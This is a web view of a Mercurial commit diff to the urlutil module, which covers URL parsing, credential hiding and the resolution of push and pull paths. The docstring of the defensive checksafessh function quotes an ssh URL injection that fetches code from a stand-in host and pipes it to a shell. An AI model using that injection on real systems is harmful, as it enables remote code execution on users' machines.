##// END OF EJS Templates
path: unify path creation in `get_pull_paths`...
marmoute -
r49053:08630dd7 default
parent child Browse files
Show More
@@ -1,935 +1,930 b''
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from ..pycompat import (
12 from ..pycompat import (
13 getattr,
13 getattr,
14 setattr,
14 setattr,
15 )
15 )
16 from .. import (
16 from .. import (
17 encoding,
17 encoding,
18 error,
18 error,
19 pycompat,
19 pycompat,
20 urllibcompat,
20 urllibcompat,
21 )
21 )
22
22
23 from . import (
23 from . import (
24 stringutil,
24 stringutil,
25 )
25 )
26
26
27
27
28 if pycompat.TYPE_CHECKING:
28 if pycompat.TYPE_CHECKING:
29 from typing import (
29 from typing import (
30 Union,
30 Union,
31 )
31 )
32
32
33 urlreq = urllibcompat.urlreq
33 urlreq = urllibcompat.urlreq
34
34
35
35
36 def getport(port):
36 def getport(port):
37 # type: (Union[bytes, int]) -> int
37 # type: (Union[bytes, int]) -> int
38 """Return the port for a given network service.
38 """Return the port for a given network service.
39
39
40 If port is an integer, it's returned as is. If it's a string, it's
40 If port is an integer, it's returned as is. If it's a string, it's
41 looked up using socket.getservbyname(). If there's no matching
41 looked up using socket.getservbyname(). If there's no matching
42 service, error.Abort is raised.
42 service, error.Abort is raised.
43 """
43 """
44 try:
44 try:
45 return int(port)
45 return int(port)
46 except ValueError:
46 except ValueError:
47 pass
47 pass
48
48
49 try:
49 try:
50 return socket.getservbyname(pycompat.sysstr(port))
50 return socket.getservbyname(pycompat.sysstr(port))
51 except socket.error:
51 except socket.error:
52 raise error.Abort(
52 raise error.Abort(
53 _(b"no port number associated with service '%s'") % port
53 _(b"no port number associated with service '%s'") % port
54 )
54 )
55
55
56
56
57 class url(object):
57 class url(object):
58 r"""Reliable URL parser.
58 r"""Reliable URL parser.
59
59
60 This parses URLs and provides attributes for the following
60 This parses URLs and provides attributes for the following
61 components:
61 components:
62
62
63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
64
64
65 Missing components are set to None. The only exception is
65 Missing components are set to None. The only exception is
66 fragment, which is set to '' if present but empty.
66 fragment, which is set to '' if present but empty.
67
67
68 If parsefragment is False, fragment is included in query. If
68 If parsefragment is False, fragment is included in query. If
69 parsequery is False, query is included in path. If both are
69 parsequery is False, query is included in path. If both are
70 False, both fragment and query are included in path.
70 False, both fragment and query are included in path.
71
71
72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
73
73
74 Note that for backward compatibility reasons, bundle URLs do not
74 Note that for backward compatibility reasons, bundle URLs do not
75 take host names. That means 'bundle://../' has a path of '../'.
75 take host names. That means 'bundle://../' has a path of '../'.
76
76
77 Examples:
77 Examples:
78
78
79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
83 >>> url(b'file:///home/joe/repo')
83 >>> url(b'file:///home/joe/repo')
84 <url scheme: 'file', path: '/home/joe/repo'>
84 <url scheme: 'file', path: '/home/joe/repo'>
85 >>> url(b'file:///c:/temp/foo/')
85 >>> url(b'file:///c:/temp/foo/')
86 <url scheme: 'file', path: 'c:/temp/foo/'>
86 <url scheme: 'file', path: 'c:/temp/foo/'>
87 >>> url(b'bundle:foo')
87 >>> url(b'bundle:foo')
88 <url scheme: 'bundle', path: 'foo'>
88 <url scheme: 'bundle', path: 'foo'>
89 >>> url(b'bundle://../foo')
89 >>> url(b'bundle://../foo')
90 <url scheme: 'bundle', path: '../foo'>
90 <url scheme: 'bundle', path: '../foo'>
91 >>> url(br'c:\foo\bar')
91 >>> url(br'c:\foo\bar')
92 <url path: 'c:\\foo\\bar'>
92 <url path: 'c:\\foo\\bar'>
93 >>> url(br'\\blah\blah\blah')
93 >>> url(br'\\blah\blah\blah')
94 <url path: '\\\\blah\\blah\\blah'>
94 <url path: '\\\\blah\\blah\\blah'>
95 >>> url(br'\\blah\blah\blah#baz')
95 >>> url(br'\\blah\blah\blah#baz')
96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
97 >>> url(br'file:///C:\users\me')
97 >>> url(br'file:///C:\users\me')
98 <url scheme: 'file', path: 'C:\\users\\me'>
98 <url scheme: 'file', path: 'C:\\users\\me'>
99
99
100 Authentication credentials:
100 Authentication credentials:
101
101
102 >>> url(b'ssh://joe:xyz@x/repo')
102 >>> url(b'ssh://joe:xyz@x/repo')
103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
104 >>> url(b'ssh://joe@x/repo')
104 >>> url(b'ssh://joe@x/repo')
105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
106
106
107 Query strings and fragments:
107 Query strings and fragments:
108
108
109 >>> url(b'http://host/a?b#c')
109 >>> url(b'http://host/a?b#c')
110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
113
113
114 Empty path:
114 Empty path:
115
115
116 >>> url(b'')
116 >>> url(b'')
117 <url path: ''>
117 <url path: ''>
118 >>> url(b'#a')
118 >>> url(b'#a')
119 <url path: '', fragment: 'a'>
119 <url path: '', fragment: 'a'>
120 >>> url(b'http://host/')
120 >>> url(b'http://host/')
121 <url scheme: 'http', host: 'host', path: ''>
121 <url scheme: 'http', host: 'host', path: ''>
122 >>> url(b'http://host/#a')
122 >>> url(b'http://host/#a')
123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
124
124
125 Only scheme:
125 Only scheme:
126
126
127 >>> url(b'http:')
127 >>> url(b'http:')
128 <url scheme: 'http'>
128 <url scheme: 'http'>
129 """
129 """
130
130
131 _safechars = b"!~*'()+"
131 _safechars = b"!~*'()+"
132 _safepchars = b"/!~*'()+:\\"
132 _safepchars = b"/!~*'()+:\\"
133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
134
134
135 def __init__(self, path, parsequery=True, parsefragment=True):
135 def __init__(self, path, parsequery=True, parsefragment=True):
136 # type: (bytes, bool, bool) -> None
136 # type: (bytes, bool, bool) -> None
137 # We slowly chomp away at path until we have only the path left
137 # We slowly chomp away at path until we have only the path left
138 self.scheme = self.user = self.passwd = self.host = None
138 self.scheme = self.user = self.passwd = self.host = None
139 self.port = self.path = self.query = self.fragment = None
139 self.port = self.path = self.query = self.fragment = None
140 self._localpath = True
140 self._localpath = True
141 self._hostport = b''
141 self._hostport = b''
142 self._origpath = path
142 self._origpath = path
143
143
144 if parsefragment and b'#' in path:
144 if parsefragment and b'#' in path:
145 path, self.fragment = path.split(b'#', 1)
145 path, self.fragment = path.split(b'#', 1)
146
146
147 # special case for Windows drive letters and UNC paths
147 # special case for Windows drive letters and UNC paths
148 if hasdriveletter(path) or path.startswith(b'\\\\'):
148 if hasdriveletter(path) or path.startswith(b'\\\\'):
149 self.path = path
149 self.path = path
150 return
150 return
151
151
152 # For compatibility reasons, we can't handle bundle paths as
152 # For compatibility reasons, we can't handle bundle paths as
153 # normal URLS
153 # normal URLS
154 if path.startswith(b'bundle:'):
154 if path.startswith(b'bundle:'):
155 self.scheme = b'bundle'
155 self.scheme = b'bundle'
156 path = path[7:]
156 path = path[7:]
157 if path.startswith(b'//'):
157 if path.startswith(b'//'):
158 path = path[2:]
158 path = path[2:]
159 self.path = path
159 self.path = path
160 return
160 return
161
161
162 if self._matchscheme(path):
162 if self._matchscheme(path):
163 parts = path.split(b':', 1)
163 parts = path.split(b':', 1)
164 if parts[0]:
164 if parts[0]:
165 self.scheme, path = parts
165 self.scheme, path = parts
166 self._localpath = False
166 self._localpath = False
167
167
168 if not path:
168 if not path:
169 path = None
169 path = None
170 if self._localpath:
170 if self._localpath:
171 self.path = b''
171 self.path = b''
172 return
172 return
173 else:
173 else:
174 if self._localpath:
174 if self._localpath:
175 self.path = path
175 self.path = path
176 return
176 return
177
177
178 if parsequery and b'?' in path:
178 if parsequery and b'?' in path:
179 path, self.query = path.split(b'?', 1)
179 path, self.query = path.split(b'?', 1)
180 if not path:
180 if not path:
181 path = None
181 path = None
182 if not self.query:
182 if not self.query:
183 self.query = None
183 self.query = None
184
184
185 # // is required to specify a host/authority
185 # // is required to specify a host/authority
186 if path and path.startswith(b'//'):
186 if path and path.startswith(b'//'):
187 parts = path[2:].split(b'/', 1)
187 parts = path[2:].split(b'/', 1)
188 if len(parts) > 1:
188 if len(parts) > 1:
189 self.host, path = parts
189 self.host, path = parts
190 else:
190 else:
191 self.host = parts[0]
191 self.host = parts[0]
192 path = None
192 path = None
193 if not self.host:
193 if not self.host:
194 self.host = None
194 self.host = None
195 # path of file:///d is /d
195 # path of file:///d is /d
196 # path of file:///d:/ is d:/, not /d:/
196 # path of file:///d:/ is d:/, not /d:/
197 if path and not hasdriveletter(path):
197 if path and not hasdriveletter(path):
198 path = b'/' + path
198 path = b'/' + path
199
199
200 if self.host and b'@' in self.host:
200 if self.host and b'@' in self.host:
201 self.user, self.host = self.host.rsplit(b'@', 1)
201 self.user, self.host = self.host.rsplit(b'@', 1)
202 if b':' in self.user:
202 if b':' in self.user:
203 self.user, self.passwd = self.user.split(b':', 1)
203 self.user, self.passwd = self.user.split(b':', 1)
204 if not self.host:
204 if not self.host:
205 self.host = None
205 self.host = None
206
206
207 # Don't split on colons in IPv6 addresses without ports
207 # Don't split on colons in IPv6 addresses without ports
208 if (
208 if (
209 self.host
209 self.host
210 and b':' in self.host
210 and b':' in self.host
211 and not (
211 and not (
212 self.host.startswith(b'[') and self.host.endswith(b']')
212 self.host.startswith(b'[') and self.host.endswith(b']')
213 )
213 )
214 ):
214 ):
215 self._hostport = self.host
215 self._hostport = self.host
216 self.host, self.port = self.host.rsplit(b':', 1)
216 self.host, self.port = self.host.rsplit(b':', 1)
217 if not self.host:
217 if not self.host:
218 self.host = None
218 self.host = None
219
219
220 if (
220 if (
221 self.host
221 self.host
222 and self.scheme == b'file'
222 and self.scheme == b'file'
223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
224 ):
224 ):
225 raise error.Abort(
225 raise error.Abort(
226 _(b'file:// URLs can only refer to localhost')
226 _(b'file:// URLs can only refer to localhost')
227 )
227 )
228
228
229 self.path = path
229 self.path = path
230
230
231 # leave the query string escaped
231 # leave the query string escaped
232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
233 v = getattr(self, a)
233 v = getattr(self, a)
234 if v is not None:
234 if v is not None:
235 setattr(self, a, urlreq.unquote(v))
235 setattr(self, a, urlreq.unquote(v))
236
236
237 def copy(self):
237 def copy(self):
238 u = url(b'temporary useless value')
238 u = url(b'temporary useless value')
239 u.path = self.path
239 u.path = self.path
240 u.scheme = self.scheme
240 u.scheme = self.scheme
241 u.user = self.user
241 u.user = self.user
242 u.passwd = self.passwd
242 u.passwd = self.passwd
243 u.host = self.host
243 u.host = self.host
244 u.path = self.path
244 u.path = self.path
245 u.query = self.query
245 u.query = self.query
246 u.fragment = self.fragment
246 u.fragment = self.fragment
247 u._localpath = self._localpath
247 u._localpath = self._localpath
248 u._hostport = self._hostport
248 u._hostport = self._hostport
249 u._origpath = self._origpath
249 u._origpath = self._origpath
250 return u
250 return u
251
251
252 @encoding.strmethod
252 @encoding.strmethod
253 def __repr__(self):
253 def __repr__(self):
254 attrs = []
254 attrs = []
255 for a in (
255 for a in (
256 b'scheme',
256 b'scheme',
257 b'user',
257 b'user',
258 b'passwd',
258 b'passwd',
259 b'host',
259 b'host',
260 b'port',
260 b'port',
261 b'path',
261 b'path',
262 b'query',
262 b'query',
263 b'fragment',
263 b'fragment',
264 ):
264 ):
265 v = getattr(self, a)
265 v = getattr(self, a)
266 if v is not None:
266 if v is not None:
267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
268 return b'<url %s>' % b', '.join(attrs)
268 return b'<url %s>' % b', '.join(attrs)
269
269
270 def __bytes__(self):
270 def __bytes__(self):
271 r"""Join the URL's components back into a URL string.
271 r"""Join the URL's components back into a URL string.
272
272
273 Examples:
273 Examples:
274
274
275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
278 'http://user:pw@host:80/?foo=bar&baz=42'
278 'http://user:pw@host:80/?foo=bar&baz=42'
279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
280 'http://user:pw@host:80/?foo=bar%3dbaz'
280 'http://user:pw@host:80/?foo=bar%3dbaz'
281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
282 'ssh://user:pw@[::1]:2200//home/joe#'
282 'ssh://user:pw@[::1]:2200//home/joe#'
283 >>> bytes(url(b'http://localhost:80//'))
283 >>> bytes(url(b'http://localhost:80//'))
284 'http://localhost:80//'
284 'http://localhost:80//'
285 >>> bytes(url(b'http://localhost:80/'))
285 >>> bytes(url(b'http://localhost:80/'))
286 'http://localhost:80/'
286 'http://localhost:80/'
287 >>> bytes(url(b'http://localhost:80'))
287 >>> bytes(url(b'http://localhost:80'))
288 'http://localhost:80/'
288 'http://localhost:80/'
289 >>> bytes(url(b'bundle:foo'))
289 >>> bytes(url(b'bundle:foo'))
290 'bundle:foo'
290 'bundle:foo'
291 >>> bytes(url(b'bundle://../foo'))
291 >>> bytes(url(b'bundle://../foo'))
292 'bundle:../foo'
292 'bundle:../foo'
293 >>> bytes(url(b'path'))
293 >>> bytes(url(b'path'))
294 'path'
294 'path'
295 >>> bytes(url(b'file:///tmp/foo/bar'))
295 >>> bytes(url(b'file:///tmp/foo/bar'))
296 'file:///tmp/foo/bar'
296 'file:///tmp/foo/bar'
297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
298 'file:///c:/tmp/foo/bar'
298 'file:///c:/tmp/foo/bar'
299 >>> print(url(br'bundle:foo\bar'))
299 >>> print(url(br'bundle:foo\bar'))
300 bundle:foo\bar
300 bundle:foo\bar
301 >>> print(url(br'file:///D:\data\hg'))
301 >>> print(url(br'file:///D:\data\hg'))
302 file:///D:\data\hg
302 file:///D:\data\hg
303 """
303 """
304 if self._localpath:
304 if self._localpath:
305 s = self.path
305 s = self.path
306 if self.scheme == b'bundle':
306 if self.scheme == b'bundle':
307 s = b'bundle:' + s
307 s = b'bundle:' + s
308 if self.fragment:
308 if self.fragment:
309 s += b'#' + self.fragment
309 s += b'#' + self.fragment
310 return s
310 return s
311
311
312 s = self.scheme + b':'
312 s = self.scheme + b':'
313 if self.user or self.passwd or self.host:
313 if self.user or self.passwd or self.host:
314 s += b'//'
314 s += b'//'
315 elif self.scheme and (
315 elif self.scheme and (
316 not self.path
316 not self.path
317 or self.path.startswith(b'/')
317 or self.path.startswith(b'/')
318 or hasdriveletter(self.path)
318 or hasdriveletter(self.path)
319 ):
319 ):
320 s += b'//'
320 s += b'//'
321 if hasdriveletter(self.path):
321 if hasdriveletter(self.path):
322 s += b'/'
322 s += b'/'
323 if self.user:
323 if self.user:
324 s += urlreq.quote(self.user, safe=self._safechars)
324 s += urlreq.quote(self.user, safe=self._safechars)
325 if self.passwd:
325 if self.passwd:
326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
327 if self.user or self.passwd:
327 if self.user or self.passwd:
328 s += b'@'
328 s += b'@'
329 if self.host:
329 if self.host:
330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
331 s += urlreq.quote(self.host)
331 s += urlreq.quote(self.host)
332 else:
332 else:
333 s += self.host
333 s += self.host
334 if self.port:
334 if self.port:
335 s += b':' + urlreq.quote(self.port)
335 s += b':' + urlreq.quote(self.port)
336 if self.host:
336 if self.host:
337 s += b'/'
337 s += b'/'
338 if self.path:
338 if self.path:
339 # TODO: similar to the query string, we should not unescape the
339 # TODO: similar to the query string, we should not unescape the
340 # path when we store it, the path might contain '%2f' = '/',
340 # path when we store it, the path might contain '%2f' = '/',
341 # which we should *not* escape.
341 # which we should *not* escape.
342 s += urlreq.quote(self.path, safe=self._safepchars)
342 s += urlreq.quote(self.path, safe=self._safepchars)
343 if self.query:
343 if self.query:
344 # we store the query in escaped form.
344 # we store the query in escaped form.
345 s += b'?' + self.query
345 s += b'?' + self.query
346 if self.fragment is not None:
346 if self.fragment is not None:
347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
348 return s
348 return s
349
349
350 __str__ = encoding.strmethod(__bytes__)
350 __str__ = encoding.strmethod(__bytes__)
351
351
352 def authinfo(self):
352 def authinfo(self):
353 user, passwd = self.user, self.passwd
353 user, passwd = self.user, self.passwd
354 try:
354 try:
355 self.user, self.passwd = None, None
355 self.user, self.passwd = None, None
356 s = bytes(self)
356 s = bytes(self)
357 finally:
357 finally:
358 self.user, self.passwd = user, passwd
358 self.user, self.passwd = user, passwd
359 if not self.user:
359 if not self.user:
360 return (s, None)
360 return (s, None)
361 # authinfo[1] is passed to urllib2 password manager, and its
361 # authinfo[1] is passed to urllib2 password manager, and its
362 # URIs must not contain credentials. The host is passed in the
362 # URIs must not contain credentials. The host is passed in the
363 # URIs list because Python < 2.4.3 uses only that to search for
363 # URIs list because Python < 2.4.3 uses only that to search for
364 # a password.
364 # a password.
365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
366
366
367 def isabs(self):
367 def isabs(self):
368 if self.scheme and self.scheme != b'file':
368 if self.scheme and self.scheme != b'file':
369 return True # remote URL
369 return True # remote URL
370 if hasdriveletter(self.path):
370 if hasdriveletter(self.path):
371 return True # absolute for our purposes - can't be joined()
371 return True # absolute for our purposes - can't be joined()
372 if self.path.startswith(br'\\'):
372 if self.path.startswith(br'\\'):
373 return True # Windows UNC path
373 return True # Windows UNC path
374 if self.path.startswith(b'/'):
374 if self.path.startswith(b'/'):
375 return True # POSIX-style
375 return True # POSIX-style
376 return False
376 return False
377
377
378 def localpath(self):
378 def localpath(self):
379 # type: () -> bytes
379 # type: () -> bytes
380 if self.scheme == b'file' or self.scheme == b'bundle':
380 if self.scheme == b'file' or self.scheme == b'bundle':
381 path = self.path or b'/'
381 path = self.path or b'/'
382 # For Windows, we need to promote hosts containing drive
382 # For Windows, we need to promote hosts containing drive
383 # letters to paths with drive letters.
383 # letters to paths with drive letters.
384 if hasdriveletter(self._hostport):
384 if hasdriveletter(self._hostport):
385 path = self._hostport + b'/' + self.path
385 path = self._hostport + b'/' + self.path
386 elif (
386 elif (
387 self.host is not None and self.path and not hasdriveletter(path)
387 self.host is not None and self.path and not hasdriveletter(path)
388 ):
388 ):
389 path = b'/' + path
389 path = b'/' + path
390 return path
390 return path
391 return self._origpath
391 return self._origpath
392
392
393 def islocal(self):
393 def islocal(self):
394 '''whether localpath will return something that posixfile can open'''
394 '''whether localpath will return something that posixfile can open'''
395 return (
395 return (
396 not self.scheme
396 not self.scheme
397 or self.scheme == b'file'
397 or self.scheme == b'file'
398 or self.scheme == b'bundle'
398 or self.scheme == b'bundle'
399 )
399 )
400
400
401
401
402 def hasscheme(path):
402 def hasscheme(path):
403 # type: (bytes) -> bool
403 # type: (bytes) -> bool
404 return bool(url(path).scheme) # cast to help pytype
404 return bool(url(path).scheme) # cast to help pytype
405
405
406
406
407 def hasdriveletter(path):
407 def hasdriveletter(path):
408 # type: (bytes) -> bool
408 # type: (bytes) -> bool
409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
410
410
411
411
412 def urllocalpath(path):
412 def urllocalpath(path):
413 # type: (bytes) -> bytes
413 # type: (bytes) -> bytes
414 return url(path, parsequery=False, parsefragment=False).localpath()
414 return url(path, parsequery=False, parsefragment=False).localpath()
415
415
416
416
417 def checksafessh(path):
417 def checksafessh(path):
418 # type: (bytes) -> None
418 # type: (bytes) -> None
419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
420
420
421 This is a sanity check for ssh urls. ssh will parse the first item as
421 This is a sanity check for ssh urls. ssh will parse the first item as
422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
423 Let's prevent these potentially exploited urls entirely and warn the
423 Let's prevent these potentially exploited urls entirely and warn the
424 user.
424 user.
425
425
426 Raises an error.Abort when the url is unsafe.
426 Raises an error.Abort when the url is unsafe.
427 """
427 """
428 path = urlreq.unquote(path)
428 path = urlreq.unquote(path)
429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
430 raise error.Abort(
430 raise error.Abort(
431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
432 )
432 )
433
433
434
434
435 def hidepassword(u):
435 def hidepassword(u):
436 # type: (bytes) -> bytes
436 # type: (bytes) -> bytes
437 '''hide user credential in a url string'''
437 '''hide user credential in a url string'''
438 u = url(u)
438 u = url(u)
439 if u.passwd:
439 if u.passwd:
440 u.passwd = b'***'
440 u.passwd = b'***'
441 return bytes(u)
441 return bytes(u)
442
442
443
443
444 def removeauth(u):
444 def removeauth(u):
445 # type: (bytes) -> bytes
445 # type: (bytes) -> bytes
446 '''remove all authentication information from a url string'''
446 '''remove all authentication information from a url string'''
447 u = url(u)
447 u = url(u)
448 u.user = u.passwd = None
448 u.user = u.passwd = None
449 return bytes(u)
449 return bytes(u)
450
450
451
451
452 def list_paths(ui, target_path=None):
452 def list_paths(ui, target_path=None):
453 """list all the (name, paths) in the passed ui"""
453 """list all the (name, paths) in the passed ui"""
454 result = []
454 result = []
455 if target_path is None:
455 if target_path is None:
456 for name, paths in sorted(pycompat.iteritems(ui.paths)):
456 for name, paths in sorted(pycompat.iteritems(ui.paths)):
457 for p in paths:
457 for p in paths:
458 result.append((name, p))
458 result.append((name, p))
459
459
460 else:
460 else:
461 for path in ui.paths.get(target_path, []):
461 for path in ui.paths.get(target_path, []):
462 result.append((target_path, path))
462 result.append((target_path, path))
463 return result
463 return result
464
464
465
465
466 def try_path(ui, url):
466 def try_path(ui, url):
467 """try to build a path from a url
467 """try to build a path from a url
468
468
469 Return None if no Path could built.
469 Return None if no Path could built.
470 """
470 """
471 try:
471 try:
472 # we pass the ui instance are warning might need to be issued
472 # we pass the ui instance are warning might need to be issued
473 return path(ui, None, rawloc=url)
473 return path(ui, None, rawloc=url)
474 except ValueError:
474 except ValueError:
475 return None
475 return None
476
476
477
477
478 def get_push_paths(repo, ui, dests):
478 def get_push_paths(repo, ui, dests):
479 """yields all the `path` selected as push destination by `dests`"""
479 """yields all the `path` selected as push destination by `dests`"""
480 if not dests:
480 if not dests:
481 if b'default-push' in ui.paths:
481 if b'default-push' in ui.paths:
482 for p in ui.paths[b'default-push']:
482 for p in ui.paths[b'default-push']:
483 yield p
483 yield p
484 elif b'default' in ui.paths:
484 elif b'default' in ui.paths:
485 for p in ui.paths[b'default']:
485 for p in ui.paths[b'default']:
486 yield p
486 yield p
487 else:
487 else:
488 raise error.ConfigError(
488 raise error.ConfigError(
489 _(b'default repository not configured!'),
489 _(b'default repository not configured!'),
490 hint=_(b"see 'hg help config.paths'"),
490 hint=_(b"see 'hg help config.paths'"),
491 )
491 )
492 else:
492 else:
493 for dest in dests:
493 for dest in dests:
494 if dest in ui.paths:
494 if dest in ui.paths:
495 for p in ui.paths[dest]:
495 for p in ui.paths[dest]:
496 yield p
496 yield p
497 else:
497 else:
498 path = try_path(ui, dest)
498 path = try_path(ui, dest)
499 if path is None:
499 if path is None:
500 msg = _(b'repository %s does not exist')
500 msg = _(b'repository %s does not exist')
501 msg %= dest
501 msg %= dest
502 raise error.RepoError(msg)
502 raise error.RepoError(msg)
503 yield path
503 yield path
504
504
505
505
506 def get_pull_paths(repo, ui, sources, default_branches=()):
506 def get_pull_paths(repo, ui, sources, default_branches=()):
507 """yields all the `(path, branch)` selected as pull source by `sources`"""
507 """yields all the `(path, branch)` selected as pull source by `sources`"""
508 if not sources:
508 if not sources:
509 sources = [b'default']
509 sources = [b'default']
510 for source in sources:
510 for source in sources:
511 if source in ui.paths:
511 if source in ui.paths:
512 for p in ui.paths[source]:
512 for p in ui.paths[source]:
513 yield parseurl(p.rawloc, default_branches)
513 yield parseurl(p.rawloc, default_branches)
514 else:
514 else:
515 # Try to resolve as a local path or URI.
515 p = path(ui, None, source, validate_path=False)
516 path = try_path(ui, source)
516 yield parseurl(p.rawloc, default_branches)
517 if path is not None:
518 url = path.rawloc
519 else:
520 url = source
521 yield parseurl(url, default_branches)
522
517
523
518
524 def get_unique_push_path(action, repo, ui, dest=None):
519 def get_unique_push_path(action, repo, ui, dest=None):
525 """return a unique `path` or abort if multiple are found
520 """return a unique `path` or abort if multiple are found
526
521
527 This is useful for command and action that does not support multiple
522 This is useful for command and action that does not support multiple
528 destination (yet).
523 destination (yet).
529
524
530 Note that for now, we cannot get multiple destination so this function is "trivial".
525 Note that for now, we cannot get multiple destination so this function is "trivial".
531
526
532 The `action` parameter will be used for the error message.
527 The `action` parameter will be used for the error message.
533 """
528 """
534 if dest is None:
529 if dest is None:
535 dests = []
530 dests = []
536 else:
531 else:
537 dests = [dest]
532 dests = [dest]
538 dests = list(get_push_paths(repo, ui, dests))
533 dests = list(get_push_paths(repo, ui, dests))
539 if len(dests) != 1:
534 if len(dests) != 1:
540 if dest is None:
535 if dest is None:
541 msg = _(
536 msg = _(
542 b"default path points to %d urls while %s only supports one"
537 b"default path points to %d urls while %s only supports one"
543 )
538 )
544 msg %= (len(dests), action)
539 msg %= (len(dests), action)
545 else:
540 else:
546 msg = _(b"path points to %d urls while %s only supports one: %s")
541 msg = _(b"path points to %d urls while %s only supports one: %s")
547 msg %= (len(dests), action, dest)
542 msg %= (len(dests), action, dest)
548 raise error.Abort(msg)
543 raise error.Abort(msg)
549 return dests[0]
544 return dests[0]
550
545
551
546
552 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
547 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
553 """return a unique `(path, branch)` or abort if multiple are found
548 """return a unique `(path, branch)` or abort if multiple are found
554
549
555 This is useful for command and action that does not support multiple
550 This is useful for command and action that does not support multiple
556 destination (yet).
551 destination (yet).
557
552
558 Note that for now, we cannot get multiple destination so this function is "trivial".
553 Note that for now, we cannot get multiple destination so this function is "trivial".
559
554
560 The `action` parameter will be used for the error message.
555 The `action` parameter will be used for the error message.
561 """
556 """
562 urls = []
557 urls = []
563 if source is None:
558 if source is None:
564 if b'default' in ui.paths:
559 if b'default' in ui.paths:
565 urls.extend(p.rawloc for p in ui.paths[b'default'])
560 urls.extend(p.rawloc for p in ui.paths[b'default'])
566 else:
561 else:
567 # XXX this is the historical default behavior, but that is not
562 # XXX this is the historical default behavior, but that is not
568 # great, consider breaking BC on this.
563 # great, consider breaking BC on this.
569 urls.append(b'default')
564 urls.append(b'default')
570 else:
565 else:
571 if source in ui.paths:
566 if source in ui.paths:
572 urls.extend(p.rawloc for p in ui.paths[source])
567 urls.extend(p.rawloc for p in ui.paths[source])
573 else:
568 else:
574 # Try to resolve as a local path or URI.
